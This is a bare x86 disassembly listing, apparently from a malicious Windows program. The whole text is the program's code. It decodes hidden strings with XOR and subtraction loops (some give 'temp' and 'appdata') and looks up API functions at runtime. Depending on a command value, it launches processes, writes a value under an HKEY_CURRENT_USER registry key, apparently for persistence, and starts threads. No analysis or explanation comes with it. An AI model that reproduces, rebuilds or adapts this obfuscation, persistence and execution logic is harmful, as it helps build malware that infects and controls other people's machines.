mov dword [ebp - 0x18], ebx
push 0xffffffffffffffff
push 0x2f
lea ecx, [ebp - 0x438]
call fcn.00417aa2
inc eax
lea ecx, [ebp - 0x1f1]
push ecx
push 0xffffffffffffffff
push eax
lea eax, [ebp - 0x438]
push eax
lea ecx, [ebp - 0x6b8]
call fcn.0040c127
lea eax, [ebp - 0x6b8]
push eax
lea ecx, [ebp - 0x5b8]
call fcn.0040bc7c
test bl, 8
je 0x416d30
and ebx, 0xfffffff7
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x6b8]
call fcn.0040bc59
test bl, 4
je 0x416d46
and ebx, 0xfffffffb
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x6d0]
call fcn.0040bc59
test bl, 2
je 0x416d5c
and ebx, 0xfffffffd
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x5a0]
call fcn.0040bc59
test bl, 1
je 0x416d72
and ebx, 0xfffffffe
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x7a8]
call fcn.0040bc59
lea eax, [ebp - 0x5b8]
push eax
mov dl, 0x5c
lea ecx, [ebp - 0x530]
call fcn.00417be5
xor ebx, ebx
cmp byte [ebp - 0x3ea], bl
je 0x416df4
mov al, 0x58
mov dword [ebp - 0x32], 0x806d3658
mov word [ebp - 0x2e], 0x6d
mov edx, ebx
mov dword [ebp - 0x284], edx
cmp edx, 4
jae 0x416dd2
movsx ecx, al
and ecx, 0x8000000f
jns 0x416dbc
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x31]
sub al, cl
mov byte [ebp + edx - 0x31], al
inc edx
mov dword [ebp - 0x284], edx
mov al, byte [ebp - 0x32]
jmp 0x416da7
mov byte [ebp - 0x2d], bl
lea ecx, [ebp - 0x31]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416ddb
sub ecx, edx
push ecx
lea eax, [ebp - 0x31]
push eax
lea ecx, [ebp - 0x530]
call fcn.00412bce
mov al, 0x24
mov dword [ebp - 0xa3], 0x73767424
mov dword [ebp - 0x9f], 0x7165766b
mov dword [ebp - 0x9b], 0x65786568
mov byte [ebp - 0x97], bl
mov edx, ebx
mov dword [ebp - 0x288], edx
cmp edx, 0xb
jae 0x416e56
movsx ecx, al
and ecx, 0x8000000f
jns 0x416e37
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0xa2]
sub al, cl
mov byte [ebp + edx - 0xa2], al
inc edx
mov dword [ebp - 0x288], edx
mov al, byte [ebp - 0xa3]
jmp 0x416e22
mov byte [ebp - 0x97], bl
lea eax, [ebp - 0xa2]
push eax
call fcn.004494dd
pop ecx
push eax
lea ecx, [ebp - 0x7c0]
call fcn.0040bc98
lea ecx, [ebp - 0x530]
push ecx
mov ecx, eax
call fcn.00412646
push eax
lea ecx, [ebp - 0x648]
call fcn.0040bc7c
lea ecx, [ebp - 0x7c0]
call fcn.0040bc59
mov dl, 0x4f
mov dword [ebp - 0x38], 0x222a3b4f
mov word [ebp - 0x34], 0x3f
mov ecx, ebx
mov dword [ebp - 0x28c], ecx
cmp ecx, 4
jae 0x416ecc
mov al, byte [ebp + ecx - 0x37]
xor al, dl
mov byte [ebp + ecx - 0x37], al
inc ecx
mov dword [ebp - 0x28c], ecx
mov dl, byte [ebp - 0x38]
jmp 0x416eb1
mov byte [ebp - 0x33], bl
lea eax, [ebp - 0x37]
push eax
call fcn.004494dd
pop ecx
push eax
lea ecx, [ebp - 0x7d8]
call fcn.0040bc98
lea ecx, [ebp - 0x530]
push ecx
mov ecx, eax
call fcn.00412646
push eax
lea ecx, [ebp - 0x630]
call fcn.0040bc7c
lea ecx, [ebp - 0x7d8]
call fcn.0040bc59
mov dl, 0x75
mov dword [ebp - 0x6d], 0x5051475
mov dword [ebp - 0x69], 0x14011411
mov byte [ebp - 0x65], bl
mov ecx, ebx
mov dword [ebp - 0x290], ecx
cmp ecx, 7
jae 0x416f40
mov al, byte [ebp + ecx - 0x6c]
xor al, dl
mov byte [ebp + ecx - 0x6c], al
inc ecx
mov dword [ebp - 0x290], ecx
mov dl, byte [ebp - 0x6d]
jmp 0x416f25
mov byte [ebp - 0x65], bl
lea eax, [ebp - 0x6c]
push eax
call fcn.004494dd
pop ecx
push eax
lea ecx, [ebp - 0x7f0]
call fcn.0040bc98
lea ecx, [ebp - 0x530]
push ecx
mov ecx, eax
call fcn.00412646
push eax
lea ecx, [ebp - 0x618]
call fcn.0040bc7c
lea ecx, [ebp - 0x7f0]
call fcn.0040bc59
movaps xmm0, xmmword [0x408130]
movups xmmword [ebp - 0x3d0], xmm0
mov dword [ebp - 0x3c0], 0x5a7e77
mov ecx, ebx
mov dword [ebp - 0x294], ecx
cmp ecx, 0x12
jae 0x416fba
mov al, byte [ebp + ecx - 0x3cf]
xor al, byte [ebp - 0x3d0]
mov byte [ebp + ecx - 0x3cf], al
inc ecx
jmp 0x416f98
mov byte [ebp - 0x3bd], bl
mov dl, 0x41
mov dword [ebp - 0x96], 0x2d331441
mov dword [ebp - 0x92], 0x6f2f2e2c
mov dword [ebp - 0x8e], 0x2d2d25
mov ecx, ebx
mov dword [ebp - 0x298], ecx
cmp ecx, 0xa
jae 0x41700c
mov al, byte [ebp + ecx - 0x95]
xor al, dl
mov byte [ebp + ecx - 0x95], al
inc ecx
mov dword [ebp - 0x298], ecx
mov dl, byte [ebp - 0x96]
jmp 0x416fe8
mov byte [ebp - 0x8b], bl
lea edx, [ebp - 0x3cf]
lea ecx, [ebp - 0x95]
call fcn.0040c457
mov edi, eax
movzx ecx, word [ebp - 0x400]
imul ecx, ecx, 0x18
lea ecx, [ebp + ecx - 0x660]
call fcn.0040bd83
mov esi, eax
lea ecx, [ebp - 0x438]
call fcn.0040bd83
push ebx
push ebx
push esi
push eax
push ebx
call edi
cmp dword [ebp - 0x420], 2
jne 0x417173
push 0x10
push ebx
lea eax, [ebp - 0x658]
push eax
call fcn.00445a50
add esp, 0xc
push 0x44
push ebx
lea eax, [ebp - 0x8c8]
push eax
call fcn.00445a50
add esp, 0xc
movaps xmm0, xmmword [0x407130]
movups xmmword [ebp - 0x4cd], xmm0
mov ecx, ebx
mov dword [ebp - 0x29c], ecx
cmp ecx, 0xe
jae 0x4170b2
mov al, byte [ebp + ecx - 0x4cc]
xor al, byte [ebp - 0x4cd]
mov byte [ebp + ecx - 0x4cc], al
inc ecx
jmp 0x417090
mov byte [ebp - 0x4be], bl
mov dl, 0x28
mov dword [ebp - 0x194], 0x5a4d6328
mov dword [ebp - 0x190], 0x1b444d46
mov dword [ebp - 0x18c], 0x444c061a
mov word [ebp - 0x188], 0x44
mov ecx, ebx
mov dword [ebp - 0x2a0], ecx
cmp ecx, 0xc
jae 0x41710d
mov al, byte [ebp + ecx - 0x193]
xor al, dl
mov byte [ebp + ecx - 0x193], al
inc ecx
mov dword [ebp - 0x2a0], ecx
mov dl, byte [ebp - 0x194]
jmp 0x4170e9
mov byte [ebp - 0x187], bl
lea edx, [ebp - 0x4cc]
lea ecx, [ebp - 0x193]
call fcn.0040c457
mov edi, eax
cmp dword [ebp - 0x408], 0
jne 0x417133
mov esi, ebx
jmp 0x417140
lea ecx, [ebp - 0x418]
call fcn.0040bd83
mov esi, eax
movzx ecx, word [ebp - 0x400]
imul ecx, ecx, 0x18
lea ecx, [ebp + ecx - 0x660]
call fcn.0040bd83
lea ecx, [ebp - 0x658]
push ecx
lea ecx, [ebp - 0x8c8]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push eax
call edi
jmp 0x4172eb
cmp dword [ebp - 0x420], 3
jne 0x4172eb
mov al, 0x61
mov byte [ebp - 0x1dd], al
push 0x54
pop ecx
mov byte [ebp - 0x1dc], cl
mov dword [ebp - 0x1db], 0x6d6d6669
mov dword [ebp - 0x1d7], 0x64667946
mov dword [ebp - 0x1d3], 0x42667576
mov byte [ebp - 0x1cf], bl
mov edx, ebx
mov dword [ebp - 0x2a4], edx
cmp edx, 0xd
jae 0x4171f1
movsx ecx, al
and ecx, 0x8000000f
jns 0x4171d2
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x1dc]
sub al, cl
mov byte [ebp + edx - 0x1dc], al
inc edx
mov dword [ebp - 0x2a4], edx
mov al, byte [ebp - 0x1dd]
jmp 0x4171bd
mov byte [ebp - 0x1cf], bl
mov dl, 0x2d
mov dword [ebp - 0x125], 0x48457e2d
mov dword [ebp - 0x121], 0x1f1e4141
mov dword [ebp - 0x11d], 0x41414903
mov byte [ebp - 0x119], bl
mov ecx, ebx
mov dword [ebp - 0x328], ecx
cmp ecx, 0xb
jae 0x417249
mov al, byte [ebp + ecx - 0x124]
xor al, dl
mov byte [ebp + ecx - 0x124], al
inc ecx
mov dword [ebp - 0x328], ecx
mov dl, byte [ebp - 0x125]
jmp 0x417225
mov byte [ebp - 0x119], bl
lea edx, [ebp - 0x1dc]
lea ecx, [ebp - 0x124]
call fcn.0040c457
mov ebx, eax
cmp dword [ebp - 0x408], 0
jne 0x41726f
xor esi, esi
jmp 0x41727c
lea ecx, [ebp - 0x418]
call fcn.0040bd83
mov esi, eax
movzx ecx, word [ebp - 0x400]
imul ecx, ecx, 0x18
lea ecx, [ebp + ecx - 0x660]
call fcn.0040bd83
mov edi, eax
cmp byte [ebp - 0x3ee], 0
je 0x4172dc
mov dl, 0x37
mov dword [ebp - 0x4b], 0x59424537
mov word [ebp - 0x47], 0x4456
mov byte [ebp - 0x45], 0
xor ecx, ecx
mov dword [ebp - 0x2a8], ecx
cmp ecx, 5
jae 0x4172d3
mov al, byte [ebp + ecx - 0x4a]
xor al, dl
mov byte [ebp + ecx - 0x4a], al
inc ecx
mov dword [ebp - 0x2a8], ecx
mov dl, byte [ebp - 0x4b]
jmp 0x4172b8
mov byte [ebp - 0x45], 0
lea eax, [ebp - 0x4a]
jmp 0x4172de
xor eax, eax
push 0
push 0
push esi
push edi
push eax
push 0
call ebx
xor ebx, ebx
cmp byte [ebp - 0x3ef], 0
je 0x41750b
mov al, 0xd
mov dword [ebp - 0x1ec], 0x74725f0d
mov dword [ebp - 0x1e8], 0x6e727f50
mov dword [ebp - 0x1e4], 0x72587281
mov word [ebp - 0x1e0], 0x4e86
mov byte [ebp - 0x1de], bl
mov edx, ebx
mov dword [ebp - 0x2ac], edx
cmp edx, 0xd
jae 0x417363
movsx ecx, al
and ecx, 0x8000000f
jns 0x417344
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x1eb]
sub al, cl
mov byte [ebp + edx - 0x1eb], al
inc edx
mov dword [ebp - 0x2ac], edx
mov al, byte [ebp - 0x1ec]
jmp 0x41732f
mov byte [ebp - 0x1de], bl
lea edx, [ebp - 0x1eb]
lea ecx, [ebp - 0x25]
call fcn.0040c457
mov edx, eax
movaps xmm0, xmmword [0x408350]
movups xmmword [ebp - 0x48d], xmm0
movaps xmm0, xmmword [0x408470]
movups xmmword [ebp - 0x47d], xmm0
mov dword [ebp - 0x46d], 0x5d7f656e
mov dword [ebp - 0x469], 0x6278796e
mov dword [ebp - 0x465], 0x59576564
mov word [ebp - 0x461], 0x657e
mov byte [ebp - 0x45f], bl
mov ecx, ebx
mov dword [ebp - 0x2b0], ecx
cmp ecx, 0x2d
jae 0x4173e6
mov al, byte [ebp + ecx - 0x48c]
xor al, byte [ebp - 0x48d]
mov byte [ebp + ecx - 0x48c], al
inc ecx
jmp 0x4173c4
mov byte [ebp - 0x45f], bl
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x48c]
push eax
push 0x80000001
call edx
test eax, eax
jne 0x41750b
movaps xmm0, xmmword [0x407180]
movups xmmword [ebp - 0x4dd], xmm0
mov edx, ebx
mov dword [ebp - 0x2b4], edx
cmp edx, 0xe
jae 0x41744b
movsx ecx, byte [ebp - 0x4dd]
and ecx, 0x8000000f
jns 0x417438
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x4dc]
sub al, cl
mov byte [ebp + edx - 0x4dc], al
inc edx
jmp 0x417419
mov byte [ebp - 0x4ce], bl
lea edx, [ebp - 0x4dc]
lea ecx, [ebp - 0x25]
call fcn.0040c457
mov ebx, eax
movzx ecx, word [ebp - 0x400]
imul edx, ecx, 0x18
mov edi, dword [ebp + edx - 0x650]
inc edi
lea ecx, [ebp + edx - 0x660]
call fcn.0040bd83
mov esi, eax
lea ecx, [ebp - 0x5b8]
call fcn.0040bd83
push edi
push esi
push 1
push 0
push eax
push dword [ebp - 0x204]
call ebx
mov dl, 0x4b
mov dword [ebp - 0x132], 0x2c2e194b
mov dword [ebp - 0x12e], 0x38242708
mov dword [ebp - 0x12a], 0x322e002e
xor ebx, ebx
mov byte [ebp - 0x126], bl
mov ecx, ebx
mov dword [ebp - 0x2b8], ecx
cmp ecx, 0xb
jae 0x4174ef
mov al, byte [ebp + ecx - 0x131]
xor al, dl
mov byte [ebp + ecx - 0x131], al
inc ecx
mov dword [ebp - 0x2b8], ecx
mov dl, byte [ebp - 0x132]
jmp 0x4174cb
mov byte [ebp - 0x126], bl
lea edx, [ebp - 0x131]
lea ecx, [ebp - 0x25]
call fcn.0040c457
push dword [ebp - 0x204]
call eax
push 3
pop esi
mov dword [ebp - 0x2bc], esi
lea eax, [ebp - 0x648]
mov dword [ebp - 0x200], eax
lea edi, [ebp - 0x600]
mov dword [ebp - 0x200], edi
mov eax, esi
dec esi
mov dword [ebp - 0x2bc], esi
test eax, eax
je 0x41754b
sub edi, 0x18
mov dword [ebp - 0x200], edi
mov ecx, edi
call fcn.0040bc59
jmp 0x41752c
lea ecx, [ebp - 0x530]
call fcn.0040bc59
lea ecx, [ebp - 0x5b8]
jmp 0x4178f4
push 0x406fc4
lea ecx, [ebp - 0x500]
call fcn.0040bc98
lea eax, [ebp - 0x500]
push eax
lea eax, [ebp - 0x438]
push eax
mov ecx, esi
call fcn.004151a8
cmp dword [ebp - 0x420], 1
jne 0x4177cc
mov al, 0x6f
mov dword [ebp - 0x53], 0x7d78866f
mov dword [ebp - 0x4f], 0x817873
xor ebx, ebx
mov edx, ebx
mov dword [ebp - 0x2c0], edx
cmp edx, 6
jae 0x4175d8
movsx ecx, al
and ecx, 0x8000000f
jns 0x4175c2
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x52]
sub al, cl
mov byte [ebp + edx - 0x52], al
inc edx
mov dword [ebp - 0x2c0], edx
mov al, byte [ebp - 0x53]
jmp 0x4175ad
mov byte [ebp - 0x4c], bl
lea eax, [ebp - 0x52]
push eax
call fcn.004494dd
pop ecx
test eax, eax
jne 0x4175f9
lea ecx, [ebp - 0x500]
call fcn.0040bc59
jmp 0x415b8b
push eax
lea ecx, [ebp - 0x548]
call fcn.0040bc98
movaps xmm0, xmmword [0x407ac0]
movups xmmword [ebp - 0x267], xmm0
mov dword [ebp - 0x257], 0x5c410a46
mov word [ebp - 0x253], 0x41
mov ecx, ebx
mov dword [ebp - 0x2c4], ecx
cmp ecx, 0x14
jae 0x41764a
mov al, byte [ebp + ecx - 0x266]
xor al, byte [ebp - 0x267]
mov byte [ebp + ecx - 0x266], al
inc ecx
jmp 0x417628
mov byte [ebp - 0x252], bl
lea eax, [ebp - 0x266]
push eax
lea edx, [ebp - 0x548]
lea ecx, [ebp - 0x838]
call fcn.00417b5f
movaps xmm0, xmmword [0x407f70]
movups xmmword [ebp - 0x45e], xmm0
mov word [ebp - 0x44e], 0x6c7f
mov byte [ebp - 0x44c], bl
mov edx, ebx
mov dword [ebp - 0x2c8], edx
cmp edx, 0x11
jae 0x4176b9
movsx ecx, byte [ebp - 0x45e]
and ecx, 0x8000000f
jns 0x4176a6
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x45d]
sub al, cl
mov byte [ebp + edx - 0x45d], al
inc edx
jmp 0x417687
mov byte [ebp - 0x44c], bl
lea eax, [ebp - 0x45d]
push eax
lea edx, [ebp - 0x548]
lea ecx, [ebp - 0x820]
call fcn.00417b5f
movaps xmm0, xmmword [0x408060]
movups xmmword [ebp - 0x251], xmm0
mov dword [ebp - 0x241], 0x662f6865
mov word [ebp - 0x23d], 0x6679
mov byte [ebp - 0x23b], bl
mov edx, ebx
mov dword [ebp - 0x2cc], edx
cmp edx, 0x15
jae 0x417732
movsx ecx, byte [ebp - 0x251]
and ecx, 0x8000000f
jns 0x41771f
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x250]
sub al, cl
mov byte [ebp + edx - 0x250], al
inc edx
jmp 0x417700
mov byte [ebp - 0x23b], bl
lea eax, [ebp - 0x250]
push eax
lea edx, [ebp - 0x548]
lea ecx, [ebp - 0x808]
call fcn.00417b5f
lea ecx, [ebp - 0x500]
call fcn.0040bd83
lea ecx, [ebp - 0x418]
push ecx
movzx ecx, word [ebp - 0x400]
imul ecx, ecx, 0x18
lea ecx, [ebp + ecx - 0x850]
push ecx
push eax
mov ecx, esi
call fcn.00414875
push 3
pop esi
mov dword [ebp - 0x2d0], esi
lea eax, [ebp - 0x838]
mov dword [ebp - 0x1fc], eax
lea edi, [ebp - 0x7f0]
mov dword [ebp - 0x1fc], edi
mov eax, esi
dec esi
mov dword [ebp - 0x2d0], esi
test eax, eax
je 0x4177bc
sub edi, 0x18
mov dword [ebp - 0x1fc], edi
mov ecx, edi
call fcn.0040bc59
jmp 0x41779d
lea ecx, [ebp - 0x548]
call fcn.0040bc59
jmp 0x4178e2
cmp dword [ebp - 0x420], 4
jne 0x4178e0
lea ecx, [ebp - 0x500]
call fcn.0040bd83
push eax
mov ecx, esi
call fcn.0041540f
mov esi, eax
mov dl, 0x61
mov dword [ebp - 0x1a2], 0x4132261
xor ebx, ebx
mov dword [ebp - 0x19e], 0x35041500
mov dword [ebp - 0x19a], 0x41309
mov word [ebp - 0x196], 5
mov ecx, ebx
mov dword [ebp - 0x2d4], ecx
cmp ecx, 0xc
jae 0x417845
mov al, byte [ebp + ecx - 0x1a1]
xor al, dl
mov byte [ebp + ecx - 0x1a1], al
inc ecx
mov dword [ebp - 0x2d4], ecx
mov dl, byte [ebp - 0x1a2]
jmp 0x417821
mov byte [ebp - 0x195], bl
mov dl, 0x50
mov dword [ebp - 0x1b0], 0x22351b50
mov dword [ebp - 0x1ac], 0x633c353e
mov dword [ebp - 0x1a8], 0x3c347e62
mov word [ebp - 0x1a4], 0x3c
mov ecx, ebx
mov dword [ebp - 0x2d8], ecx
cmp ecx, 0xc
jae 0x4178a0
mov al, byte [ebp + ecx - 0x1af]
xor al, dl
mov byte [ebp + ecx - 0x1af], al
inc ecx
mov dword [ebp - 0x2d8], ecx
mov dl, byte [ebp - 0x1b0]
jmp 0x41787c
mov byte [ebp - 0x1a3], bl
lea edx, [ebp - 0x1a1]
lea ecx, [ebp - 0x1af]
call fcn.0040c457
push ebx
push ebx
push esi
push 0x414737
push ebx
push ebx
call eax
mov dword [ebp - 0x4e8], eax
mov byte [ebp - 0x4e4], bl
lea eax, [ebp - 0x4e8]
push eax
mov ecx, dword [ebp + 0x10]
call fcn.004179c7
jmp 0x4178e2
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x500]
call fcn.00417afd
lea ecx, [ebp - 0x500]
call fcn.0040bc59
lea ecx, [ebp - 0x438]
call fcn.004179ac
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x1f8]
inc ecx
mov dword [ebp - 0x1f8], ecx
mov ebx, dword [ebp - 0x18]
jmp 0x415b4a
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0xc